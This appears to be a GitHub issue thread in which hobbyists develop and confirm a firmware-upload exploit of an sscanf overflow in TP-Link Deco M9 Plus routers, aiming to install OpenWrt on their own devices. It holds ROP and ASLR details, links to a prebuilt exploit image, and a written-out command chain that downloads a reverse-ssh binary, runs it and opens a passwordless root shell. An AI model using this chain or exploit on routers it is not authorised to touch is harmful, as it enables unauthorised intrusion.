Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit at all possible with ARM Deco devices (M9 Plus specifically) #1

Closed
stncttr908 opened this issue Sep 25, 2024 · 42 comments
Closed

Comments

@stncttr908
Copy link

Apologies for my general ignorance in asking this question, but does this exploit exist, and if so, is it even exploitable, on ARM based Deco devices like the M9 Plus?

@naf419
Copy link
Owner

naf419 commented Sep 25, 2024

I took a peak at M9Plus v1.0 fw1.5.0 and it does have the sscanf vulnerability in the webgui-based firmware checking code and it appears likely to be exploitable.

What HW revision do you have?
Do you already have hardware serial access?
Do you have access to a dump of the bootloader partition for your device (the bootloader is generally easier to exploit if its also vulnerable)

@stncttr908
Copy link
Author

I took a peak at M9Plus v1.0 fw1.5.0 and it does have the sscanf vulnerability in the webgui-based firmware checking code and it appears likely to be exploitable.

What HW revision do you have? Do you already have hardware serial access? Do you have access to a dump of the bootloader partition for your device (the bootloader is generally easier to exploit if its also vulnerable)

The one I have readily available is V2.8, and an unknown firmware level which I would have to check. I have 3 others currently in use but they're all on the latest, or near latest firmware

No serial access yet, but I bought this one specifically to explore this, so I can do what is required especially if there's no serious soldering required. I do have a couple UART dongles at the ready as well

I assume I will be able to get the bootloader partition dump via serial access?

@naf419
Copy link
Owner

naf419 commented Sep 25, 2024

OK same story with v2.0 firmware (assuming this applies to your v2.8 also and theres not a secret non-US tplink site with a explicit v2.8 firmware listed?): 1.5.0 probably exploitable, fixed by 1.6.4. no worries, we can always just downgrade to 1.5.0 if needed.

is your end-goal running open source firmware (i.e. openwrt) instead of stock or are you interested in the exploit as a standalone activity. matters because it might have some broadcom chip that is never going to get open source fw, but the exploit would still give you a shell on stock fw independent of that.

yes, easiest path is usually attaching your UART dongle and asking uboot to dump flash contents (including bootloader partitions) if you can get that setup. failing that, we might still be able to get a working exploit in the usermode firmware update (instead of bootloader) first and use that shell to dump flash, but having serial access is always superior.

hell we don't even know if the bootloader http firmware upgrade process even bothers to check firmware signatures...

@stncttr908
Copy link
Author

stncttr908 commented Sep 25, 2024

If I’m not mistaken the x.0 versus x.8 only indicates the country of manufacture, and otherwise the units are identical. The goal is absolutely to use OpenWrt. I like these units, but they could really use some features like being able to explicitly set the channels.

So it sounds like the best bet is serial console if possible. Again my soldering skills are nascent at best, so if it’s at all possible to try the usermode firmware update I’d be happy to.

Forgot to mention also at least the V1 M9 Plus models are identical from a hardware perspective to many other models with official support (standard ARM processor, Atheros WiFi radios, etc) so if I could get it to boot into OpenWrt it seems pretty straightforward.

@naf419
Copy link
Owner

naf419 commented Sep 25, 2024 via email

@stncttr908
Copy link
Author

Yes, it presents the firmware recovery page after going through the reset process and manually setting my interface to 192.168.1.2, or whatever the correct range is. As for creating an exploitable firmware I’m fairly sure I lack the skills to do that, so I defer to you and thank you for your time and effort tremendously.

I’ll see if I can open the unit and get some confirmation of the chips within.

@stncttr908
Copy link
Author

Per the FCC filing for the V2.0 the chips are all the same:

https://fcc.report/FCC-ID/TE7M9PLUSV2/4549756
https://fcc.report/FCC-ID/TE7M9PLUSV2/4549757

Matches all here: https://wikidevi.wi-cat.ru/TP-LINK_Deco_M9_Plus_v1

Which match the chips present on prebuilt images for the IPQ4019 here, including plenty of GLi-NET devices etc: https://openwrt.org/docs/techref/targets/ipq40xx

So unless I am completely misunderstanding, it sounds like the IPQ40xx target should just work, or worst case I build an image with driver support.

@naf419
Copy link
Owner

naf419 commented Sep 26, 2024 via email

@stncttr908
Copy link
Author

Thanks for clarifying. I can confirm it has both available. 👍

@naf419
Copy link
Owner

naf419 commented Sep 26, 2024

In case you hadn't seen it, it appear the DecoM5 folks have a working openwrt ipq4019 build, just that they never got around to pushing it upstream: dutchmillbytes/openwrt@v23.05.3...deco-v23.05.3

Probably a good place to start

@stncttr908
Copy link
Author

In case you hadn't seen it, it appear the DecoM5 folks have a working openwrt ipq4019 build, just that they never got around to pushing it upstream: dutchmillbytes/openwrt@v23.05.3...deco-v23.05.3

Probably a good place to start

Thanks for this. It's largely the same except it doesn't have the second 5 GHz Qualcomm radio. 👍

@naf419
Copy link
Owner

naf419 commented Sep 26, 2024

Update on exploiting the usermode firmware binary: our sscanf exploit primitive can control the PC, but with ASLR enabled and a binary with NX but no PIE, we need to find a ROP gadget in the binary itself instead of uclibc. Nothing obvious stands out yet.

TLDR: hopefully the bootloader is exploitable (or doesn't even check the signature, ha) instead. If you get serial setup, send me a dump and I can check real quick

@stncttr908
Copy link
Author

Bummer, but thanks for taking a look! I even understood what half of that meant...

I will start digging into what's required to take the bootloader dump, but it will take me a couple days to find the team even if I have the skills. Once again I really appreciate all your attention on this!

@professor-jonny
Copy link

@stncttr908 if you can look at the serial log it will tell you the config and you can likely look at official sources and the included DTS and build a makeshift initramfs boot image to dump the device.

It is what I did for my device.

@stncttr908
Copy link
Author

@stncttr908 if you can look at the serial log it will tell you the config and you can likely look at official sources and the included DTS and build a makeshift initramfs boot image to dump the device.

It is what I did for my device.

Thanks, I am down this Google rabbit hole currently lol. Any links or advice you can provide would be great!

@naf419
Copy link
Owner

naf419 commented Sep 27, 2024

On second thought I think I found a ROP gadget that will work to load R0 and then chain that to call system().
Try this to generate a firmware file to upload in the usermode firmware update webgui of 1.5.0 fw.

TODO: find a http (not https) server to host an arm ssh server that ignores passwords like this one, until then just host locally

@stncttr908
Copy link
Author

stncttr908 commented Sep 27, 2024

Nice, I will give this a try today. Does it have to be 1.5.0, or is it versions up to and including a certain version? I don't recall which version is on this eBay buy, but there does not seem to be a firmware archive available should it be too new. Not to mention my in-use M9s are all 1.6.3.

@professor-jonny
Copy link

Thanks, I am down this Google rabbit hole currently lol. Any links or advice you can provide would be great!

Start up a thread on the forum, take some pictures of the pcb's work out the serial port and capture the boot log so we can find the board config, with that and the gpl code's configuration file we can basically build an initramfs OpenWrt image and dump the partitions.

## Loading kernel from FIT Image at 44000000 ...
   Using 'config@hk01.c5' configuration

https://www.tp-link.com/us/support/download/deco-m9-plus/v1/#GPL-Code

you may have to poke around with a multimeter to workout the serial port but here is a bit of a guide:
https://openwrt.org/docs/techref/hardware/port.serial

@naf419
Copy link
Owner

naf419 commented Sep 27, 2024

Nice, I will give this a try today. Does it have to be 1.5.0, or is it versions up to and including a certain version? I don't recall which version is on this eBay buy, but there does not seem to be a firmware archive available should it be too new. Not to mention my in-use M9s are all 1.6.3.

i havent checked anything between 1.5.0 (is vuln) and 1.6.4 (is not vuln), but the wayback machine has you covered (if you manually fix the links): https://web.archive.org/web/20210621030702/https://www.tp-link.com/us/support/download/deco-m9-plus/#Firmware
https://static.tp-link.com/2021/202102/20210203/Deco_M9Plus_V2_1.5.0_201211.zip

@stncttr908
Copy link
Author

Nice, I will give this a try today. Does it have to be 1.5.0, or is it versions up to and including a certain version? I don't recall which version is on this eBay buy, but there does not seem to be a firmware archive available should it be too new. Not to mention my in-use M9s are all 1.6.3.

i havent checked anything between 1.5.0 (is vuln) and 1.6.4 (is not vuln), but the wayback machine has you covered (if you manually fix the links): https://web.archive.org/web/20210621030702/https://www.tp-link.com/us/support/download/deco-m9-plus/#Firmware https://static.tp-link.com/2021/202102/20210203/Deco_M9Plus_V2_1.5.0_201211.zip

Thank you, I managed to find some uploads on Archive.org but for some reason never considered checking the actual firmware page. I will report back later today.

@stncttr908
Copy link
Author

Thanks, I am down this Google rabbit hole currently lol. Any links or advice you can provide would be great!

Start up a thread on the forum, take some pictures of the pcb's work out the serial port and capture the boot log so we can find the board config, with that and the gpl code's configuration file we can basically build an initramfs OpenWrt image and dump the partitions.

## Loading kernel from FIT Image at 44000000 ...
   Using 'config@hk01.c5' configuration

https://www.tp-link.com/us/support/download/deco-m9-plus/v1/#GPL-Code

you may have to poke around with a multimeter to workout the serial port but here is a bit of a guide: https://openwrt.org/docs/techref/hardware/port.serial

Appreciate this very much. Typically with these types of explorations do they require the OP to take their own board shots? I ask because the FCC shots are pretty detailed and I was going to use those as a first pass to see if I could find the debug headers on the board. Anyway, let me see if I can work out @naf419's ask first and then I can turn toward this.

@naf419
Copy link
Owner

naf419 commented Sep 27, 2024

I second the idea of using the openwrt forum (maybe even under this existing topic: https://forum.openwrt.org/t/ipq4019-adding-support-for-tp-link-deco-m9-plus/138019) for discussing the 'where are uart headers for serial' and 'adding a new openwrt device' side of things, because you are likely to get more advice from experienced folks over there, and leave this thread for talking about my shitty exploit attempts

@stncttr908
Copy link
Author

On second thought I think I found a ROP gadget that will work to load R0 and then chain that to call system(). Try this to generate a firmware file to upload in the usermode firmware update webgui of 1.5.0 fw.

TODO: find a http (not https) server to host an arm ssh server that ignores passwords like this one, until then just host locally

Well, it was on 1.5.6, so I downgraded it to 1.5.0, built the firmware via Python, and uploaded it from the usermode GUI, which it seemed to take. Not quite sure what should happen after that however. It ended up booting back into 1.5.0 and the usermode GUI was still available.

@naf419
Copy link
Owner

naf419 commented Sep 27, 2024 via email

@stncttr908
Copy link
Author

stncttr908 commented Sep 28, 2024

If you look at the top of the python code, there is a series of commands it is supposed to run. For now, you'll need to provide somewhere probably on your local network (accessible to the m9 at least) to get the linked reverse-ssh binary via http (not https). Feel free to change that python line to fix the IP for your network layout and rerun to generate the fw again if needed. Goal is that the m9 exploit will download that reverse-ssh binary, run it, and you should be able to ssh to it on port 2222 (or whatever port is specified in the python command) Username root, Password is avail on the github page of that reverse-ssh github I linked to

On Fri, Sep 27, 2024, 1:45 PM stncttr908 @.> wrote: On second thought I think I found a ROP gadget that will work to load R0 and then chain that to call system(). Try this https://github.com/user-attachments/files/17161115/build_fw_arm.py.txt to generate a firmware file to upload in the usermode firmware update webgui of 1.5.0 fw. TODO: find a http (not https) server to host an arm ssh server that ignores passwords like this one https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/reverse-ssh-armv7-x86, until then just host locally Well, it was on 1.5.6, so I downgraded it to 1.5.0, built the firmware via Python, and uploaded it from the usermode GUI, which it seemed to take. Not quite sure what should happen after that however. It ended up booting back into 1.5.0 and the usermode GUI was still available. — Reply to this email directly, view it on GitHub <#1 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/AE64FASKGHBUYBWOBYEF5BLZYWRVXAVCNFSM6AAAAABO27T6SWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNZZHA3DGMBWGM . You are receiving this because you were mentioned.Message ID: @.>

Alright, I was able to upload my firmware file in usermode with the web server on my MacBook hosting the reverse-ssh binary, but unfortunately the HTTP server does not have any indication it ever connected. The server definitely works and I baked in the correct IP. Even if I had the URL wrong I would expect to see a connection to the server. Does this mean the possible exploit identified does not work?

@naf419
Copy link
Owner

naf419 commented Sep 29, 2024

It has ASLR on, so the results do vary, but it should work maybe 9/10 times.
It works on the 1.5.0 nvrammanager binary in my emulator, so it just means theres a difference between the emulator env and the real device env or the chain between the webgui and command line tool, or ASLR got an unlucky address
A couple easy candidates come to mind of the top: $PATH and 'addresses where of kernel mmap differs'. If you have time to try it, the only easy one to eliminate is the $PATH: just try a simpler command like /sbin/reboot. if that works try explicit paths: i.e. cd /tmp; /usr/bin/wget http://xxx.xxx.xxx.xxx:xxx/reverse-ssh; /bin/chmod +x /tmp/reverse-ssh; /tmp/reverse-ssh -l -p 2222 -s /bin/ash; /bin/touch /tmp/done
Kernel memory address could be tried by changing page_addr to 0x75200000 0x74200000 0x77200000
Simply retrying 3 times each iteration should rule out ASLR.
Others I would need to think on
All would be easier if you could just login via serial and run a debugger, of course :-)

@stncttr908
Copy link
Author

stncttr908 commented Sep 29, 2024

Yeah I’m just going to pivot to getting the serial working, of course once I can open the damn case. Let’s see how long I try doing that gracefully before I just get destructive, because they really don’t want you getting inside this thing.

@naf419
Copy link
Owner

naf419 commented Oct 6, 2024

stncttr908 commented last week: Yeah I’m just going to pivot to getting the serial working, of course once I can open the damn case. Let’s see how long I try doing that gracefully before I just get destructive, because they really don’t want you getting inside this thing

difficult in theory: adapting openwrt build to new device, writing signature bypass exploit, etc
difficult in reality: finding those hidden plastic clips to take device apart before frustration brings out the ice pick/hammer/angle grinder

@stncttr908
Copy link
Author

stncttr908 commented last week: Yeah I’m just going to pivot to getting the serial working, of course once I can open the damn case. Let’s see how long I try doing that gracefully before I just get destructive, because they really don’t want you getting inside this thing

difficult in theory: adapting openwrt build to new device, writing signature bypass exploit, etc difficult in reality: finding those hidden plastic clips to take device apart before frustration brings out the ice pick/hammer/angle grinder

Lol agreed, I haven’t had any time since I’ve been traveling for work, but I basically bought this one as a donor to see if this is even possible so I’m just going to get the Dremel out.

@VsnGamer

This comment was marked as off-topic.

@naf419

This comment was marked as off-topic.

@naf419
Copy link
Owner

naf419 commented Nov 2, 2024

It has ASLR on, so the results do vary, but it should work maybe 9/10 times. It works on the 1.5.0 nvrammanager binary in my emulator, so it just means theres a difference between the emulator env and the real device env or the chain between the webgui and command line tool, or ASLR got an unlucky address A couple easy candidates come to mind of the top: $PATH and 'addresses where of kernel mmap differs'. If you have time to try it, the only easy one to eliminate is the $PATH: just try a simpler command like /sbin/reboot. if that works try explicit paths: i.e. cd /tmp; /usr/bin/wget http://xxx.xxx.xxx.xxx:xxx/reverse-ssh; /bin/chmod +x /tmp/reverse-ssh; /tmp/reverse-ssh -l -p 2222 -s /bin/ash; /bin/touch /tmp/done Kernel memory address could be tried by changing page_addr to 0x75200000 0x74200000 0x77200000 Simply retrying 3 times each iteration should rule out ASLR. Others I would need to think on All would be easier if you could just login via serial and run a debugger, of course :-)

small update: a dev with a m4r v3 (same ARM32 arch and linux 3.14 kernel) has serial hooked up and ran a test to show that the kernel mmap addresses were way off from my qemu vexpress-a9 6.1.44 kernel.

so if you still dont have serial hooked up, you might want to retry the exploit with a 0xb6200000 page_addr as seen here: https://github.com/naf419/tplink_deco_exploits/blob/main/userspace_fw_upgrade/build_fw_arm.py

@troed
Copy link

troed commented Nov 25, 2024

Checking in. I'm actually the originator of that thread on the openwrt forum but dropped this for other things. However, this thread sounds fun and so I've got an M9 Plus hw v1.0 and sw 1.5.0 in front of me now.

@naf419 I'll take a look at your exploit, open up my device and see what I can do. I'm a fellow hw/fw red teamer :)

edit: I get

daemon.err uhttpd[4175]: Segmentation fault
in the logs but no callback to my nc using likely curl paths. I'll now hunt down the uart.

@stncttr908
Copy link
Author

Checking in. I'm actually the originator of that thread on the openwrt forum but dropped this for other things. However, this thread sounds fun and so I've got an M9 Plus hw v1.0 and sw 1.5.0 in front of me now.

@naf419 I'll take a look at your exploit, open up my device and see what I can do. I'm a fellow hw/fw red teamer :)

I'd be grateful if you could! Still haven't had any time to open mine up and give it a shot myself.

@stncttr908
Copy link
Author

It has ASLR on, so the results do vary, but it should work maybe 9/10 times. It works on the 1.5.0 nvrammanager binary in my emulator, so it just means theres a difference between the emulator env and the real device env or the chain between the webgui and command line tool, or ASLR got an unlucky address A couple easy candidates come to mind of the top: $PATH and 'addresses where of kernel mmap differs'. If you have time to try it, the only easy one to eliminate is the $PATH: just try a simpler command like /sbin/reboot. if that works try explicit paths: i.e. cd /tmp; /usr/bin/wget http://xxx.xxx.xxx.xxx:xxx/reverse-ssh; /bin/chmod +x /tmp/reverse-ssh; /tmp/reverse-ssh -l -p 2222 -s /bin/ash; /bin/touch /tmp/done Kernel memory address could be tried by changing page_addr to 0x75200000 0x74200000 0x77200000 Simply retrying 3 times each iteration should rule out ASLR. Others I would need to think on All would be easier if you could just login via serial and run a debugger, of course :-)

small update: a dev with a m4r v3 (same ARM32 arch and linux 3.14 kernel) has serial hooked up and ran a test to show that the kernel mmap addresses were way off from my qemu vexpress-a9 6.1.44 kernel.

so if you still dont have serial hooked up, you might want to retry the exploit with a 0xb6200000 page_addr as seen here: https://github.com/naf419/tplink_deco_exploits/blob/main/userspace_fw_upgrade/build_fw_arm.py

I will give this part a try. Appreciate the patience, life hasn't been conducive to spending time on this recently.

@naf419
Copy link
Owner

naf419 commented Nov 25, 2024

Checking in. I'm actually the originator of that thread on the openwrt forum but dropped this for other things. However, this thread sounds fun and so I've got an M9 Plus hw v1.0 and sw 1.5.0 in front of me now.

@naf419 I'll take a look at your exploit, open up my device and see what I can do. I'm a fellow hw/fw red teamer :)

edit: I get

daemon.err uhttpd[4175]: Segmentation fault in the logs but no callback to my nc using likely curl paths. I'll now hunt down the uart.

exploit was written for m9+ v2. looks like v1 definitely needs different offsets.
try this:
0be41e6

if that doesn't work, it probably just has a different ASLR range. im too dumb to investigate that through static analysis of the kernel, but it sure is easy to check if you have a shell up. (but my money says that diff ^^ will work)

@naf419
Copy link
Owner

naf419 commented Nov 25, 2024

Checking in. I'm actually the originator of that thread on the openwrt forum but dropped this for other things. However, this thread sounds fun and so I've got an M9 Plus hw v1.0 and sw 1.5.0 in front of me now.
@naf419 I'll take a look at your exploit, open up my device and see what I can do. I'm a fellow hw/fw red teamer :)

I'd be grateful if you could! Still haven't had any time to open mine up and give it a shot myself.

no need to open anything up until youve atleast tried the latest release: https://github.com/naf419/tplink_deco_exploits/releases/download/v4/deco_fw_overflow_ssh_arm_m9+v2.bin

reminder: this goes to your stock firmware's http config page (the one where you login, not the bootloader one where you have to press reset button in to access), and should provide a passwordless ssh server on port 2222 (local server requirement was removed since i found stock has curl with https)

it works well on the m4rv3 and i assume they use a close-enough kernel that the ASLR ranges are the same (but could be wrong here, this is the only reason we might need uart access to check)

@troed
Copy link

troed commented Nov 25, 2024

exploit was written for m9+ v2. looks like v1 definitely needs different offsets. try this: 0be41e6

Well this was no fun at all!

Works perfectly ;)

/tmp # uname -a
Linux M9Plus 3.14.77 #5 SMP PREEMPT Fri Dec 11 10:21:17 CST 2020 armv7l GNU/Linux

edit: (I did manage to open it up and dump the SPI flash as well in the meantime)

@naf419
Copy link
Owner

naf419 commented Nov 25, 2024

exploit was written for m9+ v2. looks like v1 definitely needs different offsets. try this: 0be41e6

Well this was no fun at all!

Works perfectly ;)

/tmp # uname -a
Linux M9Plus 3.14.77 #5 SMP PREEMPT Fri Dec 11 10:21:17 CST 2020 armv7l GNU/Linux

edit: (I did manage to open it up and dump the SPI flash as well in the meantime)

ha, didnt mean to steal your fun. you could always check the uboot partition to determine if the same exploit exists there (like these: https://github.com/naf419/tplink_deco_exploits/tree/main/uboot) [if not, just send uboot partition from dump to me and ill take a look]

or since you sound like you have experience in this area, i could use a second set of eyes on the aarch64 version (tplink be85 and x80, prolly others) . the same vuln is there, but i haven't been able to get a successful exploit because i cant seem to work around the 64-bit little endian addresses needing NULL bytes to be valid or can't find a good one-shot ROP gadget in the binary.

@naf419
Copy link
Owner

naf419 commented Nov 26, 2024

got confirmation from a openwrt forum user that the m9+v2 exploit works as well.

so with that, i believe going to close this issues of "can this work on arm chips (m9+ specifically)" with the answer of "yes it does now".

@naf419 naf419 closed this as completed Nov 26, 2024
@naf419
Copy link
Owner

naf419 commented Nov 26, 2024

reminder to switch to the openwrt forums thread https://forum.openwrt.org/t/ipq4019-adding-support-for-tp-link-deco-m9-plus/138019 for further discussions regarding 'build an openwrt image' for these devices. (the openwrt forum user that confirmed the exploit is interested in development on the m9+v2 specifically, so yall can join forces over there hopefully)

@stncttr908
Copy link
Author

reminder to switch to the openwrt forums thread https://forum.openwrt.org/t/ipq4019-adding-support-for-tp-link-deco-m9-plus/138019 for further discussions regarding 'build an openwrt image' for these devices. (the openwrt forum user that confirmed the exploit is interested in development on the m9+v2 specifically, so yall can join forces over there hopefully)

Really appreciate all your effort, thank you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants